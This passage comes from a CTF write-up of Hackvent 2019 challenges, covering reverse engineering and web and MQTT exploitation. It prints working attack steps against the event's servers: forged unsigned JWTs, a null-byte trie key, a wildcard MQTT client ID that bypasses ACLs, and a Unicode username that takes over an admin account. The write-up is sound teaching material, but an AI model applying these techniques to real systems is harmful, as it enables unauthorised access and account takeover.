      data[i].append(img1[i][j] ^ img2[i][j])
  return data

qrcode = readImage('bd659aba-5ad2-4ad3-992c-6f99023792bc.png')
rule30 = readImage('rule30.png')
final = xorImages(qrcode, rule30)
saveQR(final, 'out.png')

After running the script, the resulting QR code is stored in out.png:

root@kali:~/hv19/09# zbarimg out.png 
scanned 1 barcode symbols from 1 images in 0.02 seconds

The flag is HV19{Cha0tic_yet-0rdered}.

return to overview ⇧

HV19.10 – Guess what

Author: inik
The flag is right, of course


After two broken binaries were uploaded, the final binary (contained in HV19.10-guess3.zip) worked well.

The binary is a dynamically linked, stripped 64-bit ELF file:
root@kali:~/hv19/10# unzip d658ab66-6859-416d-8554-9a4ee0105794.zip 
Archive:  d658ab66-6859-416d-8554-9a4ee0105794.zip
  inflating: guess3                  
root@kali:~/hv19/10# file guess3 
guess3: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5e1e9f74990e4f8f96d380d2b5264a3567a9d046, stripped

During my initial research before the final binary was uploaded, I stumbled upon shc, which was obviously used to create the binaries. shc basically converts a shell script to an ELF binary.

When we run the binary, we are prompted for an input:
root@kali:~/hv19/10# ./guess3
Your input: 

If we now simply inspect the output of ps, we can see the original shell script, which contains the flag:
root@kali:~# ps aux | grep guess3
root      5881  0.0  0.0   6584  2848 pts/1    S+   08:28   0:00 ./guess3 -c                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 #!/bin/bash  read -p "Your input: " input  if [ $input = "HV19{Sh3ll_0bfuscat10n_1s_fut1l3}" ]  then   echo "success" else    echo "nooooh. try harder!" fi   ./guess3
root      6046  0.0  0.0   6136   888 pts/2    S+   08:29   0:00 grep guess3

The flag is HV19{Sh3ll_0bfuscat10n_1s_fut1l3}.

return to overview ⇧

HV19.11 – Frolicsome Santa Jokes API

Author: inik
The elves created an API where you get random jokes about santa.

Go and try it here: http://whale.hacking-lab.com:10101

The provided link leads to the FSJA API:

According to the description, let’s start by creating a user:
root@kali:~/hv19/11# curl -s -X POST -H 'Content-Type: application/json' http://whale.hacking-lab.com:10101/fsja/register --data '{"username":"scryh", "password": "giveflagplx"}'
{"message":"User created","code":201}

Now we can retrieve our token:
root@kali:~/hv19/11# curl -s -X POST -H 'Content-Type: application/json' http://whale.hacking-lab.com:10101/fsja/login --data '{"username":"scryh", "password": "epixplzplz"}'
{"message":"Token generated","code":201,"token":"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoic2NyeWgiLCJwbGF0aW51bSI6ZmFsc2V9LCJleHA

Using this token, we can get a random santa joke:
root@kali:~/hv19/11# curl -X GET "http://whale.hacking-lab.com:10101/fsja/random?token=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuY..."
{"joke":"This past Christmas, I told my girlfriend for months in advance that all I wanted was an Xbox. That’s it. Beginning and end of list, Xbox. You know what she got me? A homemade frame with a picture of us from our first date together. Which was fine. Because I got her an Xbox.","author":"Anthony Jeselnik","platinum":false}

Let’s have a look at the token, which is a JSON Web Token and can be parsed nicely on jwt.io:

As we have already seen in the joke output, there is an attribute called platinum, which is currently set to false.

At first I started jwt-cracker in the background, which could potentially crack the secret used to sign the token.

Though it turned out to be even more easy. It simply suffice to set the attribute from false to true:

If we know request a joke using the new token, we get the flag:
root@kali:~# curl -X GET "http://whale.hacking-lab.com:10101/fsja/random?token=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoic2NyeWgiLCJwbGF0aW51bSI6dHJ1ZX0sImV4cCI6MTU3NjA1NDU1NS45NTd9.24NlMDst57dLNgA0iOAiDOPOMwIoqHGAqp23i-F2vME"
{"joke":"Congratulation! Sometimes bugs are rather stupid. But that's how it happens, sometimes. Doing all the crypto stuff right and forgetting the trivial stuff like input validation, Hohoho! Here's your flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}","author":"Santa","platinum":true}

The signature is not verified at all. This means that we can even totally omit the signature.

The flag is HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}.

return to overview ⇧

HV19.12 – back to basic

Author: hardlock
Santa used his time machine to get a present from the past. get your rusty tools out of your cellar and solve this one!


The provided zip archive contains a 32-bit PE binary:
root@kali:~/hv19/12# unzip 67e6c6c2-1119-4c1e-a9b5-85f118173a40.zip 
Archive:  67e6c6c2-1119-4c1e-a9b5-85f118173a40.zip
  inflating: BackToBasic.exe         
root@kali:~/hv19/12# file BackToBasic.exe 
BackToBasic.exe: PE32 executable (GUI) Intel 80386, for MS Windows

Running strings on the file outputs several __vba function names, which suggests that the binary was built with Visual Basic:
root@kali:~/hv19/12# strings BackToBasic.exe 
!This program cannot be run in DOS mode.
C:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB

So let’s boot up a windows machine.

A good start for reversing a Visual Basic binary is VB Decompiler Lite. It quickly displays the form and code components:

The form only contains a single text field:

We can also have a look at the disassembly of the code. There is also a decompiler, which is only available in the pro version though:

By having a quick look at the disassembly we can identify a few interesting static strings:
00401B40h ; "6klzic<=bPBtdvff'y\x7fFI~on//N"

00401B7Ch ; "Status: correct"
00401BB0h ; "Status: wrong"

The first one is probably the encrypted flag. The second and third one could probably be used to track down the path to the valid flag.

Despite of using VB Decompiler to get a quick overview I prefer to use a debugger in order to analyze the binary dynamically.

So let’s run the binary in x64dbg (or more precisely x32dbg):

By pressing F9 once (Run) we continue to the entry point of BackToBasic.exe. Here we can set a breakpoint at the beginning of the Text1_Change function located at 00401F80 (the address is displayed by VB Decompiler):

The breakpoint is triggered each time we edit the input of the text field. After the breakpoint is hit we can single step through the code in order to comprehend what the flag is supposed to be. At the beginning there are a few calls to __vbaVarCmpEq and static references to the characters H, V, 1 and 9. This part probably determines if the flag begins with HV19. Following those instructions there is a je 004024B2 at 00402280. Following the jump destination (004024B2) we can see, that this branch outputs the string "Status: wrong". This means that the jump is not taken, if we enter a string with the correct flag prefix.

We can verify our assumption that the first part checks if the flag begins with HV19 by setting a breakpoint on the je instruction at 00402280 and enter different values in the text field. If we enter something, which does not begin with HV19, the jump is taken and the program displays the message "Status: wrong". As soon as we enter HV19, the jump is not taken:

Within the next instructions the function __vbaLenVar is called, followed by another je instruction at 004022B9. The obvious guess here is that this part determines if the length of the input equals the flag’s length. A few lines ahead we can also see, that 0x21 (= 33) is stored on the stack. Thus we can assume that the input length should be 33. We can again verify this by setting a breakpoint on the je instruction and testing different inputs. As soon as we enter a string of 33 characters, which begins with HV19 the jump is not taken anymore:

In the instructions that follow there is a loop, which seems to iterate over our input. The call to __vbaVarXor should raise our attention, since it is probably used the XOR our input and compare it with the static string we also saw in VB Decompiler. Unfortunately it is not too easy to inspect the values on a __vba function call, since these function take Visual Basic variables as parameters. Without knowing the structure of these objects, we don’t know where to find the actual value of a variable.

After the loop there is a call to __vbaVarTstEq followed by another je instruction at 00402433. This is probably the comparison of our XORed input with the static string "6klzic<=bPBtdvff'y\x7fFI~on//N" stored at 00401B40. Let's set a breakpoint on the call and inspect the parameters:

There are two parameters, which are pushed on the stack before the call (stored eax and ecx). Again these are actually Visual Basic variables, but if we inspect the value stored in ecx, we can see that at offset 8 there is the address of the static string (00401B40). If we now inspect the value of eax at the same offset, we should see a reference to the string containing our XORed input:

At offset 8 the address 0044987C is stored. Let's have a look at this address:

This can definitely be our XORed input string. By changing the first character of our input, we can verify that the first character of the supposed XORed input changes.

At last we only need to change our input so that the XORed input matches the string "6klzic<=bPBtdvff'y\x7fFI~on//N". Changing the first three characters manually reveals the beginning of the flag: 0ld. Let's see if we can find a pattern in the XOR key:
>>> ord('0')^ord('6')
>>> ord('l')^ord('k')
>>> ord('d')^ord('l')

Obviously the XOR key is 6 for the first character (which is actually the 6th character of the flag taking the HV19{ into account) and increases by one for each character. Accordingly the following python script should generate the flag:
#!/usr/bin/env python

encr = '6klzic<=bPBtdvff\'y\x7fFI~on//N'
flag = ''
for i in range(len(encr)):
  c = encr[i]
  flag += chr(ord(c)^(i+6))


Running the script outputs the flag:
root@kali:~/hv19/12# ./flag.py 

The binary verifies that we have found the correct flag:

The flag is HV19{0ldsch00l_Revers1ng_Sess10n}.

return to overview ⇧

HV19.13 - TrieMe

Author: kiwi
Switzerland's national security is at risk. As you try to infiltrate a secret spy facility to save the nation you stumble upon an interesting looking login portal.

Can you break it and retrieve the critical information?

Facility: http://whale.hacking-lab.com:8888/trieme/

The provided link leads to a website showing a single text field and a login button:

The provided zip archive contains the java class NotesBean.java:
root@kali:~/hv19/13# unzip 34913db9-fd2a-43c8-b563-55a1d10ee4cb.zip 
Archive:  34913db9-fd2a-43c8-b563-55a1d10ee4cb.zip
  inflating: NotesBean.java          
root@kali:~/hv19/13# cat NotesBean.java 
package com.jwt.jsf.bean;
import org.apache.commons.collections4.trie.PatriciaTrie;

import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;
import java.io.StringWriter;

import javax.faces.bean.ManagedBean;
import javax.faces.bean.SessionScoped;
import static org.apache.commons.lang3.StringEscapeUtils.unescapeJava;
import org.apache.commons.io.IOUtils;

public class NotesBean implements Serializable {

	private PatriciaTrie<Integer> trie = init();
	private static final long serialVersionUID = 1L;
	private static final String securitytoken = "auth_token_4835989";

	public NotesBean() {

	public String getTrie() throws IOException {
		if(isAdmin(trie)) {
			InputStream in=getStreamFromResourcesFolder("data/flag.txt");
			StringWriter writer = new StringWriter();
			IOUtils.copy(in, writer, "UTF-8");
			String flag = writer.toString();

			return flag;

	public void setTrie(String note) {
		trie.put(unescapeJava(note), 0);
    private static PatriciaTrie<Integer> init(){
        PatriciaTrie<Integer> trie = new PatriciaTrie<Integer>();

        return trie;

    private static boolean isAdmin(PatriciaTrie<Integer> trie){
        return !trie.containsKey(securitytoken);

    private static InputStream getStreamFromResourcesFolder(String filePath) {
    	  return Thread.currentThread().getContextClassLoader().getResourceAsStream(filePath);


Let's start by analyzing the code.

Within the init method a PatriciaTrie is instantiated and the string ("auth_token_4835989") stored in securitytoken is added to it, mapped to the value 0.

When submitting the text field on the website, the method setTrie is probably called, which adds our input to the trie also mapping it to the value 0.

The isAdmin method determines if we get the flag. The method simply checks if the trie contains the key "auth_token_4835989" (securitytoken). If this is not the case, we are admin.

This means that we somehow have to remove the key "auth_token_4835989" from the trie to get the flag.

In order to execute the code locally and test different inputs without touching the webserver, we need to download the required dependencies. In this case we need the following four .jar files:
root@kali:~/hv19/13# ls -al *.jar
-rw-r--r-- 1 root root  646680 Oct 16  2013 common-lang3.jar
-rw-rw-rw- 1 root root  751238 Dec  1 18:30 commons-collections4-4.1.jar
-rw-r--r-- 1 root root  185140 Dec 13 09:20 commons-io-2.4.jar
-rw-r--r-- 1 root root 2555166 Oct 16  2013 javax.faces.jar

Now we can compile the class NotesBean (-cp sets the classpath):
root@kali:~/hv19/13# javac -cp './commons-collections4-4.1.jar:./javax.faces.jar:./commons-io-2.4.jar:./common-lang3.jar:./' NotesBean.java

In order to instantiate an object of the class NotesBean, we add a static main method:
    public static void main(String args[]) {
        NotesBean b = new NotesBean();

To mimic the behavior of the server, we add our input (setTrie) and then call the isAdmin method:
        NotesBean b = new NotesBean();

        if (NotesBean.isAdmin(b.getRawTrie())) System.out.println("admin");
        else System.out.println("nope");

The added method getRawTrie simply returns the PatriciaTrie object:
	public PatriciaTrie<Integer> getRawTrie() {
		return trie;

Recompiling and running the class shows the two entries within the trie and that we are obviously no admin, since the "auth_token_4835989" key is still present:
root@kali:~/hv19/13# javac -cp './commons-collections4-4.1.jar:./javax.faces.jar:./commons-io-2.4.jar:./common-lang3.jar:./' NotesBean.java
root@kali:~/hv19/13# java -cp './commons-collections4-4.1.jar:./javax.faces.jar:./commons-io-2.4.jar:./common-lang3.jar:.' NotesBean
  Entry(key=auth_token_4835989 [9], value=0, parent=ROOT, left=ROOT, right=test [11], predecessor=test [11])
  Entry(key=test [11], value=0, parent=auth_token_4835989 [9], left=auth_token_4835989 [9], right=test [11], predecessor=test [11])


My assumption was that if we are somehow able to remove the key just by adding another key, this key is probably almost the same. So let's fuzz the application by adding another byte to the existing key and adding it:
	for (byte i = 0; i < 256; i++) {
		NotesBean b = new NotesBean();
		byte[] array = {i};
		String s = new String(array);

		if (NotesBean.isAdmin(b.getRawTrie())) {
		else System.out.println("nope");

Recompiling and running the code:
root@kali:~/hv19/13# ...
  Entry(key=auth_token_4835989 [9], value=0, parent=ROOT, left=ROOT, right=auth_token_4835989 [9], predecessor=auth_token_4835989 [9])


Wait, what?

We actually got a hit right at byte 0x00. As we can see the trie now only contains one key instead of two. And this key seems to be the string "auth_token_4835989\x00". The key "auth_token_4835989" was probably overwritten by our entry, since a part of the code did honor the null byte and another part did not honor it.

Now we only need to carry out our attack against the real webserver. In order to do this we can fire up burp, enter the string "auth_token_4835989" and add a null byte (%00) in the intercepted request:

And we actually get the flag:

The flag is HV19{get_th3_chocolateZ}.

return to overview ⇧

HV19.14 - Achtung das Flag

Author: M. (who else)
Let's play another little game this year. Once again, I promise it is hardly obfuscated.

use Tk;use MIME::Base64;chomp(($a,$a,$b,$c,$f,$u,$z,$y,$r,$r,$u)=);sub M{$M=shift;##

@m=keys %::;(grep{(unpack("%32W*",$_).length($_))eq$M}@m)[0]};$zvYPxUpXMSsw=0x1337C0DE;###
->bind("<$sk6i47pO-n>"=>sub{$Sk6lA7p0=0 if$Sk6lA7p0>0;});$vgOjwRk4wIo7_->bind("<$sk6i47pO"
."-m>"=>sub{$Sk6lA7p0=0 if $Sk6lA7p0<0;});$::{M(7998)}->();$M_decrypt=sub{'HACKVENT2019'};
The cake is a lie!
Only perl can parse Perl!
Achtung das Flag! --> Use N and M
M'); DROP TABLE flags; --
Run me in Perl!

The obfuscated perl script is a little snake-style game, where we can collect each part of the flag 2 characters a time. If we hit ourself or an outer boarder, the game stops:

At first let's use an online formatter to beautify the code:
use Tk;
use MIME::Base64;
chomp( ( $a, $a, $b, $c, $f, $u, $z, $y, $r, $r, $u ) = <DATA> );

sub M {
    $M = shift;
    @m = keys %::;
    ( grep { ( unpack( "%32W*", $_ ) . length($_) ) eq $M } @m )[0];
$zvYPxUpXMSsw = 0x1337C0DE;
$PMMtQJOcHm8eFQfdsdNAS20 =
  sub { $zvYPxUpXMSsw = ( $zvYPxUpXMSsw * 16807 ) & 0xFFFFFFFF; };
( $a1Ivn0ECw49I5I0oE0 = '07&3-"11*/(' ) =~ y$!-=$`-~$;
( $Sk61A7pO           = 'K&:P3&44' ) =~ y$!-=$`-~$;
( $sk6i47pO = 'K&:R&-&"4&' ) =~ y$!-=$`-~$;
$d28Vt03MEbdY0 = sub {
    pack( 'n',
        $fff[ $S9cXJIGB0BWce++ ] ^ ( $PMMtQJOcHm8eFQfdsdNAS20->() & 0xDEAD ) );
( $vgOjwRk4wIo7_ = MainWindow->new )->title($r);
( $vMnyQdAkfgIIik =
      $vgOjwRk4wIo7_->Canvas( "-$a" => 640, "-$b" => 480, "-$u" => $f ) )->pack;
@p = ( 42, 42 );
$cqI           = $vMnyQdAkfgIIik->createLine( @p, @p, "-$y" => $c, "-$a" => 3 );
$S9cXJIGB0BWce = 0;
$_2kY10        = 0;
$_8NZQooI5K4b  = 0;
$Sk6lA7p0      = 0;
$_ =
    M(120812) . '/'
  . M(191323)
  . M(133418)
  . M(98813)
  . M(121913)
  . M(134214)
  . M(101213) . '/'
  . M(97312)
  . M(6328)
  . M(2853) . '+'
  . M(4386);
@fff = map { unpack( 'n', $::{ M(122413) }->($_) ) } m:...:g;
    $T = sub {
        $t = $vMnyQdAkfgIIik->createText(
            $PMMtQJOcHm8eFQfdsdNAS20->() % 600 + 20,
            $PMMtQJOcHm8eFQfdsdNAS20->() % 440 + 20,
            "-text" => $d28Vt03MEbdY0->(),
            "-$y"   => $z
$i = $vMnyQdAkfgIIik->repeat(
    sub {
        $_ = ( $_8NZQooI5K4b += 0.1 * $Sk6lA7p0 );
        $p[0] += 3.0 * cos;
        $p[1] -= 3 * sin;
        ( $p[0] > 1 && $p[1] > 1 && $p[0] < 639 && $p[1] < 479 )
          || $i->cancel();
        $q = (
                $p[0] - 1,
                $p[1] - 1,
                $p[0] + 1,
                $p[1] + 1
              || []
        $q == $t && $T->();
        $vMnyQdAkfgIIik->insert( $cqI, 'end', \@p );
        ( $q == $cqI || $S9cXJIGB0BWce > 44 ) && $i->cancel();
$KE = 5;
    "<$Sk61A7pO-n>" => sub {
        $Sk6lA7p0 = 1;
$vgOjwRk4wIo7_->bind( "<$Sk61A7pO-m>" => sub { $Sk6lA7p0 = -1; } );
$vgOjwRk4wIo7_->bind( "<$sk6i47pO-n>" => sub { $Sk6lA7p0 = 0 if $Sk6lA7p0 > 0; }
    "<$sk6i47pO" . "-m>" => sub { $Sk6lA7p0 = 0 if $Sk6lA7p0 < 0; } );
$::{ M(7998) }->();
$M_decrypt = sub { 'HACKVENT2019' };
The cake is a lie!
Only perl can parse Perl!
Achtung das Flag! --> Use N and M
M'); DROP TABLE flags; -- 
Run me in Perl!

After changing the code a little bit to get familiar with it, we can follow different approaches.

One approach would be to simply remove the calls to cancel():
        ( $p[0] > 1 && $p[1] > 1 && $p[0] < 639 && $p[1] < 479 )
          || $i->cancel();
        ( $q == $cqI || $S9cXJIGB0BWce > 44 ) && $i->cancel();

This way we game does not stop even if we hit ourself or a boarder. Though it is quite tiring to collect all parts of the flag manually, since the flag seems to be very long.

After understanding the code even better, we can increase the game tick time by editing the following 25 to eg. 2500:
$i = $vMnyQdAkfgIIik->repeat(
    sub {

Also we want to edit the following line:
        $q == $t && $T->();

$T->() is called in order to move to the next part of the flag. If we skip the condition before it and just call $T->(), the program kindly prints each part of the flag out one after another. We only have to note down the characters.

It is even more comfortable, if we additionally carry out the following adjustment:
    $T = sub {
        $w = $PMMtQJOcHm8eFQfdsdNAS20->() % 600 + 20; # added
        $h = $PMMtQJOcHm8eFQfdsdNAS20->() % 440 + 20; # added
        $txt = $d28Vt03MEbdY0->(); # added
        $t = $vMnyQdAkfgIIik->createText(
            $w,#$PMMtQJOcHm8eFQfdsdNAS20->() % 600 + 20,
            $h,#$PMMtQJOcHm8eFQfdsdNAS20->() % 440 + 20,
            "-text" => $txt,#$d28Vt03MEbdY0->(),
            "-$y"   => $z
        print($txt); # added

This way the flag gets printed out in the console. Ensure that the two calls determining the position of the text ($PMMtQJOcHm8eFQfdsdNAS20->()) are before the call to get the actual text ($d28Vt03MEbdY0->()).

The flag is HV19{s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\x20\n^&&s[(.)(..)][\2\1]g;s%4(...)%"p$1t"%ee}.

return to overview ⇧

HV19.15 - Santa's Workshop

Author: inik & avarx
The Elves are working very hard.
Look at http://whale.hacking-lab.com:2080/ to see how busy they are.

The provided link leads to a website showing how much gifts the elves have built yet:

The number is constantly increasing.

By inspecting the source code, we can see that the website is using MQTT via websockets to retrieve the amount of gifts built.

The file config.js contains the configuration used:
var mqtt;
var reconnectTimeout = 100;
var host = 'whale.hacking-lab.com';
var port = 9001;
var useTLS = false;
var username = 'workshop';
var password = '2fXc7AWINBXyruvKLiX';
var clientid = localStorage.getItem("clientid");
if (clientid == null) {
  clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0');
  localStorage.setItem("clientid", clientid);
var topic = 'HV19/gifts/'+clientid;
// var topic = 'HV19/gifts/'+clientid+'/flag-tbd';
var cleansession = true;

Accordingly the amount of gifts built can be retrieved by querying the topic 'HV19/gifts/'+clientid. The flag seems to be retrievable through a subtopic: 'HV19/gifts/'+clientid+'/flag-tbd'.

We can use the configuration within a python script to retrieve the amount of gifts built using the paho-mqtt python module:
#!/usr/bin/env python3

import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, rc):

def on_message(client, userdata, msg):

client = mqtt.Client(client_id='03133731337',transport="websockets")
client.username_pw_set('workshop', '2fXc7AWINBXyruvKLiX')
client.on_connect = on_connect
client.on_message = on_message
client.connect('whale.hacking-lab.com', 9001, 60)

For the client_id we can choose any random value. By using the wildcard # within the subscription, we subscribe to all topics we have access to (in this case only the amount of gifts built).

Running the script retrieves the amount of gifts built:
root@kali:~/hv19/15# ./getGifts.py

MQTT provides special system message, which aren't automatically registered by subscribing to the wildcard #. In order to get this system message, we must subscribe to $SYS/#:

The system message $SYS/broker/version provides a hint:
root@kali:~/hv19/15# ./getSysMessages.py
b'mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)'

The mentioned CVE-2017-7650 regards pattern based ACLs. The fix for the CVE filters the characters +, # and / within the client ID as well as the username since these characters have a special meaning within a topic. A pattern based ACL can contain identifiers eg. for the client ID by using the identifer %c, which is replaced with the current client ID. If this client ID contains a mentioned special character the semantic of the ACL may change.

Since the topic, at which we can retrieve the amount of gifts built, contains our client ID, the ACL in place probably looks like this:
pattern read HV19/gifts/%c

The official patch linked above revokes any of the characters +#/ within the client ID and username. As stated within the hint, the elves implemented their own patch. By trying different client IDs we can figure out, that the characters # and + are only restricted if used within the first character of the client ID. If we use the client ID "xyz/#" the parsed pattern based ACL would look like this:
pattern read HV19/gifts/xyz/#

Accordingly we would have access to all topics beneath HV19/gifts/xyz/... including the flag.

So let's give it a shot using our previously used client ID (the id has to be used once before):
client = mqtt.Client(client_id='03133731337/#',transport="websockets")

Running the script actually reveals the flag, whichs is placed within the topic's name:
root@kali:~/hv19/15# ./getFlag.py
b'Congrats, you got it. The elves should not overrate their smartness!!!'

The flag is HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}.

return to overview ⇧

HV19.16 - B0rked Calculator

Author: hardlock
Santa has coded a simple project for you, but sadly he removed all the operations.
But when you restore them it will print the flag!


The provided zip archive contains a 32-bit PE binary:
root@kali:~/hv19/16# unzip 9b90c573-d530-401b-b3f8-24454bbf015e.zip 
Archive:  9b90c573-d530-401b-b3f8-24454bbf015e.zip
  inflating: b0rked.exe              
root@kali:~/hv19/16# file b0rked.exe 
b0rked.exe: PE32 executable (GUI) Intel 80386, for MS Windows

So let's boot up a windows machine and have a look at it. The calculator allows us to enter two numbers and an operation (+, -, * and /):

As already stated within the description the actual implementation of the operations has been removed. Beneath the input fields some obviously messed up text is displayed. This is probably the flag, which will be displayed correctly if we implement the removed operations.

Let's have a look at the disassembly of the binary using x64dbg:

The above part of the disassembly shows the conditional calls to the appropriate function based on the selected operation.

When we inspect the disassembly of these functions, we can see that the implementation has been purged with nops (0x90):

Accordingly our task is to replace the nops with the appropriate implementation in order to get the flag printed correctly.

The first operation is add (+):
enter 0,0
mov eax,dword ptr ss:[ebp+8]
ret 8

The author kindly left a starting point by not removing the first relevant instruction: mov eax,dword ptr ss:[ebp+8]. By setting a breakpoint, entering some input and inspecting the stack at the time of the call to this function, we can see that dword ptr ss:[ebp+8] contains the first number entered and dword ptr ss:[ebp+0xc] contains the second number. Because of the left instruction, eax already contains the first number. Accordingly we only have to add the instruction add eax,dword ptr[ebp+0xc] in order to add the second number to eax, which will hold the final result. Within x64dbg we can select the line of the first nop and hit SPACE to apply a patch to the binary:

The patched implementation for add (+) now looks like this:
enter 0,0
mov eax,dword ptr ss:[ebp+8]
add eax,dword ptr ss:[ebp+C]
ret 8

As we can see, the operation now works and we get already parts of the flag printed beneath the text fields:

The second operation to implement is sub (-):
enter 0,0
mov ecx,dword ptr ss:[ebp+C]

Again an instruction was left, which moves the second number to ecx. Accordingly we only need to move the first number to eax beforehand and subtract ecx from eax at the end:
enter 0,0
mov eax,dword ptr ss:[ebp+8]
mov ecx,dword ptr ss:[ebp+C]
sub eax,ecx
ret 8

The next instruction is mul (*):
enter 0,0
ret 8

This time no instruction was left, but we already know from the previous operations, what to do: move to first number to eax, the second to ecx and then multiply both registers:
enter 0,0
mov eax,dword ptr ss:[ebp+8]
mov ecx,dword ptr ss:[ebp+C]
mul ecx
ret 8

The last operation is div (/):
enter 0,0
ret 8

The first two instructions stay the same. Before the div instruction we additionally zero out edx (xor edx, edx) since div divides EDX:EAX by the value within the given register:
enter 0,0
mov eax,dword ptr ss:[ebp+8]
mov ecx,dword ptr ss:[ebp+C]
xor edx, edx
div ecx

After all missing implementations are fixed, the flag is displayed:

The flag is HV19{B0rked_Flag_Calculat0r}.

return to overview ⇧

HV19.17 - Unicode Portal

Author: scryh
Buy your special gifts online, but for the ultimative gift you have to become admin.


Since the challenge was created by myself, I was really curious about how other people like it and the way they solve it. Unfortunately the live server was running a slightly different version of MySQL than I used to create the challenge, which made the intended solution not working at the beginning. This also enabled an unintended solution (see below), which is slightly different from the intended one. Despite this rusty start the challenge went as planned and I got quite a good feedback.

The provided link within the challenge's description leads to santa's unicode portal:

On the register page a new account can be created:

Logging in with a freshly created account, the symbols page is accessible:

Also the authentication source code can be viewed:

The goal of the challenge is to get access to the admin page, which cannot be accessed by default users:

In order to get access to the admin page, our username must be santa:
 * Determines if the given user is admin.
function isAdmin($username) {
  return ($username === 'santa');

The user santa cannot be registered, because it already exists (with a strong password, which is not supposed to be guessed/cracked/bruteforced).

Nevertheless the password of the user santa can be changed by evading the check made by the isUsernameAvailable function.

This function converts the username to lowercase and determines if a binary equivalent username (lowercase) is already in the database:
 * Determines if the given username is already taken.
function isUsernameAvailable($conn, $username) {
  $usr = $conn->real_escape_string($username);
  $res = $conn->query("SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('".$usr."')");
  $row = $res->fetch_assoc();
  return (int)$row['cnt'] === 0;

If a username is available, the function registerUser is called, which converts the username to uppercase and stores it in the database:
 * Registers a new user.
function registerUser($conn, $username, $password) {
  $usr = $conn->real_escape_string($username);
  $pwd = password_hash($password, PASSWORD_DEFAULT);
  $conn->query("INSERT INTO users (username, password) VALUES (UPPER('".$usr."'),'".$pwd."') ON DUPLICATE KEY UPDATE password='".$pwd."'");

This can be exploited by leveraging the fact that certain unicode characters (the topic of the page should be a broad hint) end up as actual ASCII characters when being converted to lowercase or uppercase.

Accordingly for example the unicode character U+017F (UTF-8: 0xC5 0xBF) ends up as an upper S when converted to uppercase.

This means that we can register the username %c5%bfanta, which passes the check of isUsernameAvailable, because it does not equal santa. After being converted to uppercase by the registerUser function though, the username inserted in the database is SANTA, which means that effectively the password for the username santa is updated (... ON DUPLICATE KEY UPDATE password ...).

Thus we only have to register the username %c5%bfanta and set a password we would like:
root@kali:~/hv19/hv17# curl http://whale.hacking-lab.com:8881//register.php -d 'username=%c5%bfanta&pwd=mySecretPwd&pwd2=mySecretPwd'
<!DOCTYPE html>
<h3>Registration successful!</h3>
<h4>You will be redirected to the login page ...</h4>

Now we can login with the username santa and the password mySecretPwd and access the admin page:

The unintended, yet working solution on the MySQL version in place, is basically the same but registering the user 'santa ' (with a trailing space).

The flag is HV19{h4v1ng_fun_w1th_un1c0d3}.

return to overview ⇧

HV19.18 - Dance with me

Author: hardlock
Santa had some fun and created todays present with a special dance. this is what he made up for you:
Dance with him to recover the flag.


The provided zip archive contains a debian binary package:
root@kali:~/hv19/18# unzip 93d0df60-3579-4672-8efc-f32327d3643f.zip
Archive:  93d0df60-3579-4672-8efc-f32327d3643f.zip
  inflating: dance
root@kali:~/hv19/18# file dance
dance: Debian binary package (format 2.0)

The package can be extracted using ar:
root@kali:~/hv19/18# ar -xv dance
x - debian-binary
x - control.tar.gz
x - data.tar.lzma

The file data.tar.lzma contains the actual binary, which is a Mach-O binary:
root@kali:~/hv19/18# tar -xvf data.tar.lzma
root@kali:~/hv19/18# file usr/bin/dance
usr/bin/dance: Mach-O universal binary with 3 architectures: [armv7:Mach-O armv7 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]

The binary can be analyzed using ghidra:

Within the main function the user is prompted to enter the flag. The input entered is then passed along with some other parameters to a function called _dance. Within this function _dance_block is called, which in turn calls _dance_words. At the end of the main function the obviously encrypted input is printed in hex. Since the challenge description provides a hex value, this is probably the encrypted flag.

By googling for the value 0x79622d32 taken from within the function _dance_block I found implementation of the Salsa20 algorithm, which uses this value as a constant. In combination with the name of the challenge and the name of the functions this makes perfect sense.

By default Salsa20 uses a 32 byte key and a 8 byte nonce. If the binary encrypts the input using this algorithm, we just need to get the key and nonce from it and decrypt the encrypted flag from the challenge's description.

Using PyCryptodome for python we can try to decrypt the flag using the key and nonce from the binary.

Finding the nonce was quite easy, since it is passed as the last argument to _dance:

The key can also be read from ghidra or by using radare2. The first 32 bytes within the __const section are the key:
[0x0000bda2]> iS
Nm Paddr       Size Vaddr      Memsz Perms Name
00 0x0000ba40  1180 0x0000ba40  1180 -r-x 0.__TEXT.__text
01 0x0000bedc    96 0x0000bedc    96 -r-x 1.__TEXT.__picsymbolstub4
02 0x0000bf3c   108 0x0000bf3c   108 -r-x 2.__TEXT.__stub_helper
03 0x0000bfa8    64 0x0000bfa8    64 -r-x 3.__TEXT.__const
04 0x0000bfe8    23 0x0000bfe8    23 -r-x 4.__TEXT.__cstring
